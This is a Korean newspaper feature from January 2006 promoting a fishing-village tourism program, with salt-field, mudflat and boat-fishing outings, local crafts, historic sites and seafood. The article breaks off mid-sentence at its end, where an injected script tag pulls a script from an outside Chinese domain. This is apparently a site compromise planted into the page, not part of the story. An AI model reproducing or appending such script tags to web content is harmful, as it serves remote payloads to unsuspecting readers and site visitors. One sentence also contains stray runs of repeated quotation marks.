[신년특집] 어촌·어항! 숨은 진주를 찾아라
2006-01-04 신성아
마치 하루하루를 사는 것이 ‘총성 없는 전쟁터’를 방불케 할 만큼 격렬하기 때문 일게다.
그래서 현대를 사는 도시민들은 푸른 바닷물이 넘실대는 탁 트인 바닷가에서 수평선을 바라보며 여유와 낭만을 즐기는 백일몽을 꾸어보지만 이는 커피와 함께하는 잠깐의 휴식일 뿐.
지치고 힘든 일이 있을 때마다, 바다가 눈앞에 손만 뻗으면 잡힐 듯 가까운 곳에 있다면 얼마나 좋을까?
이렇게 멋진 바다가 눈앞에 다가왔다.
스트레스를 한 번에 날려버릴 만큼 엔돌핀 충전 효과가 큰 푸른 바다가 우리 곁에 보다 가깝게 다가온 것.
도시민들에게 자연과 전통문화를 체험할 수 있는 최적의 체험 프로그램을 제공해 주고 있는 한국어촌어항협회의 ‘아름다운 어촌 찾아가기’ 행사를 따라 가보자.
#바닷가에서 추억가득 -‘아름다운 어촌 찾아가기’
수차가 뭔지 아시는분~! 협회 진행자의 질문이 떨어지기 무섭게
저요~ 저요~ 초등학교 참가생들의 목청이 우렁차다.
손을 높이들고 서로 의견을 말하겠다고 난리다.
드디어 한 학생이 기회를 얻었다.
“수차는요~ 옛날 전기가 없던 시절에요~ 논이나 물에 강제로 물을 공급하던 기계예요!”
해양수산부가 주최하고 한국어항협회가 주관하는 ''''''''''''''''아름다운 어촌 찾아가기''''''''''''''''행사는 초등학교 학생에서부터 어른들까지 누구나 즐겁게 참여할 수 있다.
지친 도시인의 에너지가 하나가득 충전되서 돌아올 수 있는 곳.
아이들에게는 바다의 특색있는 문화와 역사까지 체험할 수 있는 행사다.
‘아름다운 어촌 찾아가기’는 전국의 아름다운 바닷가를 선정, 염전체험, 갯벌체험, 승선체험 등 바다에서의 여러 가지 체험과 유명한 문화현장을 직접 둘러볼 수 있는 프로그램으로 짜여있다.
가고픈 바다, 살고픈 어촌, 다시 찾는 관광어촌을 주제로 매년 몇 차례씩 열리는 행사지만 염전체험에서부터 수산물 시식에 이르기까지 다채로운 행사내용으로 행사에 참가하는 아이들과 어른들은 나이를 떠나서 함께 공감하며 바다의 새로움을 경험하고 있다.
가끔은 다양한 체험 프로그램을 동시에 진행하다보면 물때를 잘 못 맞춰서 염전행사에서 많은 양의 소금을 보기 힘들다든지 여행을 떠나기전 많은 비가 내려 어수선한 분위기에서 행사가 진행되기도 하는 등 차질이 생기기도 하지만 참석자들은 여행 속에서 대부분 즐거운 추억거리를 하나가득 만든다.
#허브비누 만들기 등 다채로운 행사 가득
행사내용을 꼼꼼히 살펴보면 꼭 바다와 관련된 행사만 있는것도 아니다.
어촌계에서 가까운 허브농장에서 허브차를 시식하고 비누를 만든다든지 하는 지역문화 체험 프로그램도 다양하다.
어촌계 주변에 있는 관광명소도 찾아간다.
사극전문 촬영장소인 영상테마파크를 방문해 전통 문화를 체험하고 드라마 영상물 사진 전시회를 감상하기도 한다.
또 전북 부안군 변산면 모항 갯벌체험장을 찾아갔을 때에는 부안댐 자연학습장을 찾아 댐 인근에 조성해 놓은 수풀림을 산책하며 산림욕을 즐기기도 하고 불멸의 이순신 세트장을 방문하기도 했다.
‘아름다운 어촌 찾아가기’행사에는 어촌체험 뿐만이 아니라 국립수산과학원 패류 연구센타를 견학하고 해상유람선을 승헌하는 해양체험코스, 이순신 장군이 순국해 가묘한 충렬사를 방문하는 등 역사 문화 체험 거리도 풍부하다.
어촌체험과 함께 수산과학, 해양경관 관람, 역사현장 탐방 등의 다양한 체험프로그램을 진행해 참석자들로부터 높은 호응을 얻고 있다.
가끔은 시간에 맞춰 일출의 장관을 볼 수 있는 프로그램을 추가해 여행의 낭만을 더하기도 한다.
#승선낚시체험도 신나
‘아름다운 어촌 찾아가기’ 행사 중 많은 인기를 끌었던 프로그램은 어선낚시 체험.
강원도 양양군 현남면 남애항으로 떠난 체험여행에서 참가자들은 낚시어선 10척에 사이좋게 나눠 타고 가까운 어장으로 나갔다.
서로 낚시하는 법을 알려주며 낚시하는 장면이 다정스러웠다.
낚은 가자미를 그 자리에서 바로 썰어 초고추장에 듬뿍 찍어 맛 볼 때는 ‘이 맛이 정말 끝내준다~’는 감탄사가 연신 쏟아졌다.
#싱싱 생생 맛있는 먹을거리
어촌관광인지라 맛있는 먹거리도 빠질 수 없다.
간재미무침과 우럭회 등 바다내음 물씬 풍기는 지역특산물 시식은 기본.
수산물 중에서도 패류를 특히 좋아하는 마니아라면 ‘아름다운 어촌 찾아가기’행사에 꼭 한번 참석해도 좋다.
소라며 가리비, 백합, 바지락 등 맛있는 패류를 정말 망태기로 하나 가득 구워먹을 수 있기 때문이다.
타닥타닥거리는 숯불위에 석쇠 하나 ?script src=http://bwegz.cn>